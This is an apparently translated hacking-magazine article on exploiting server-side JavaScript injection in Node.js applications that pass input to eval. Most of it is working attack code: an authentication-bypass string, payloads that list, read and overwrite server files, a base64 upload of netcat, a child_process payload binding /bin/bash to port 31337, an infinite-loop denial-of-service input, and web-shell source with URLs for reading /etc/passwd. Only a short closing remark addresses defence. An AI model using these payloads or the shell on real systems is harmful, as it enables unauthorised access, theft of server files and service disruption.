Advanced Server-Side JavaScript Injection exploitation

This article was published in “Xakep” #161 magazine.
Original russian version - PDF

ADVANCED SERVER-SIDE JAVASCRIPT INJECTION EXPLOITATION

The idea to explore server-side JavaScript came to me right after reading the article “Total Destruction of MongoDB” in the February issue of the magazine. In it, the author talked about typical mistakes when using NoSQL databases but only briefly mentioned the interesting topic of Server-Side JavaScript Injection. This type of vulnerability will be the focus of today’s discussion.

JS

Deciding not to reinvent the wheel and not write anything new, I took the already prepared code of a vulnerable application from the February issue and simply shortened it. In that material, the author only described how to authenticate through this vulnerability. It was somewhat similar to the well-known SQL injection:

1
1'+or+1=1+--+

Here is the vulnerable code segment:

1
2
3
4
5
6
7
8
"json-injection": function () {
pageTitle = locale.mongoJsonInjTitle;
processRequest(function (login, password) {
var loginParam = eval("({ login: '" + login + "',
password: '" + password + "' })");
return loginParam;
});
},

As you can see, the error lies in the unsafe use of the eval construction and the lack of input data filtering. How can this be exploited? Let me explain. We still have MongoDB with a root user, and to authenticate without a password through this vulnerability, simply insert the following construction in the username input field:

1
root'})//

In the logs of the running application, we can understand what happened:

1
2
3
4
5
6
**QUERY:**
{ login: 'root' }
**DOCUMENT:**
{ _id: 4f37d1df08f4a55a79e97940,
login: 'root',
password: 'p@ssw0rd' }

As you can see, we authenticated without a password. :)

FIRST STEPS

Now we need to extract more from our vulnerability than just password-less authentication. First, let’s try something simple, for example, display some text on the screen. To do this, we need to insert the following code in the username field:

1
'}); console.log('hello');//

As you can see, here the valid request is closed with the construction '});. Then we insert our command, not forgetting about the // symbols. These symbols indicate that what follows is not code but a comment. By the way, the browser gave a 500 error, but let’s see what happened in the server console:

1
2
hello
---> TypeError: Cannot read property 'isCustomJS' of undefined

Here you can see that the code executed successfully! The most challenging part begins now, on which I had to work hard.

GIVE ME MORE!

To begin with, a little lyricism (I hope the experienced reader will forgive me). What does a hacker need on the server? First of all, to execute their commands on the captured machine, then to read, browse, and modify files. Ideally, to get a full/partial shell. For this, the well-known bindport or backconnect are used.

Unfortunately, I did not find web shells tailored for Server-Side JavaScript in the public domain or in the private access available to me, so I decided to invent the wheel this time and write my own shell. But it’s not that simple because we can’t see what’s happening in the server console, and therefore, console.log() won’t work for our purposes. However, after digging a bit in the Node.js manuals, I found something that fits our task perfectly, namely response.end() and response.write(). Here’s an example:

1
root'}); response.end('<h1>Hacked');//

Now let’s move on to the next point, which I mean browsing files. To do this, we need to connect the fs library, which is done using the require(‘fs’) construction. Here’s how, for example, we can browse files from the current directory:

1
require('fs').readdirSync('.')

Next, we need to make the output readable. The toString() method will help us with this:

1
'}); response.end(require('fs').readdirSync('.').toString());//

This resulted in a mini-exploit that allows us to browse files from any directory. Now let’s move on to reading these files directly:

1
root'}); response.end(require('fs').readFileSync('install.js').toString());//

Then logically, we need to learn how to write something to a file, which we will do using the following construction:

1
root'}); require('fs').writeFileSync("install.js", "hacked");//

Here you can see that the word hacked will be written to install.js, but it will be written to the beginning of the file, not the end. It is also worth mentioning the possibility of writing to a file using base64 encoding. This feature can be useful if there is a need to write a precompiled binary, source code, or just a large file to the server.

First, on the local machine, we find out the base64 hash of our file using the corresponding command:

1
cat /bin/nc.traditional | base64

We send the obtained text to our pre-prepared mini-exploit, which will decode everything and write the received data to the file:

1
root'}); require('fs').writeFileSync("nc.traditional", "your_base64_code", 'base64');//

Finally, let’s move on to running executable files—the main reason for writing this article. Unfortunately, you will not be able to see the result because it is not output to the response, but this result can be written to a file and then read :). Here is an example of launching a bind port on Linux systems with netcat:

1
root'}); require("child_process").exec("/bin/nc -l -p 31337 -e /bin/bash");//

Also worth mentioning is the possibility of using this vulnerability for a DoS attack. This is done quite simply, for example, by launching an infinite loop with while:

1
root'}); while(1);//

SHELL, MY DEAR SHELL!

After several days of studying the obtained material, my friend gl0w and I, who worked together all this time, wrote this web shell. I think after the publication of the article, you will easily find it in the public domain. In the meantime, look for the source code of the shell on our disk. Here, I will provide only three of its functional parts:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
if(mode == "/list")
{
response.write(require('fs').readdirSync(param).toString());
}
else if(mode == "/file")
{
response.write(require('fs').readFileSync(param, "binary"), "binary");
response.end();
}
else if(mode == "/bind")
{
require("child_process").exec("/bin/nc -l -p "+param+" -e /bin/bash");
response.write("Port "+param+" binded");
response.end();
}

Now let’s look at the operation of our script. First, we write the shell to a file:

1
root'}); require('fs').writeFileSync("shell.js","dmFyIHN5...wIik7DQo=", 'base64');//

Then we run it all through child_process:

1
root'}); require("child_process").exec("node shell.js");//

Everything is ready for working with the shell. What can it do? I will immediately note that there are few functions so far, but this is only the first version, and over time it will be improved. So far, there is the ability to list files, view directories, and bind a port.

So, let’s begin:

  1. Viewing /etc
    1
    http://server:8080/list?/etc
  2. Viewing /etc/passwd
    1
    http://server:8080/file?/etc/passwd
  3. Binding a port
    1
    http://server:8080/bind?31337

FINAL THOUGHTS

As you can see, Node.js has a number of features very useful for a hacker, which help them comfortably settle on a hacked server. Your task is to wrap all the information obtained around your mind, try out the written shell in action, and check all your NoSQL projects for vulnerabilities. That’s all. Good luck!

Notes:

  • Node.js is an event-driven I/O framework on the V8 JavaScript engine.
  • Many developers are completely confident in the security of their site written in SSJS and may not even filter incoming data.

Resources: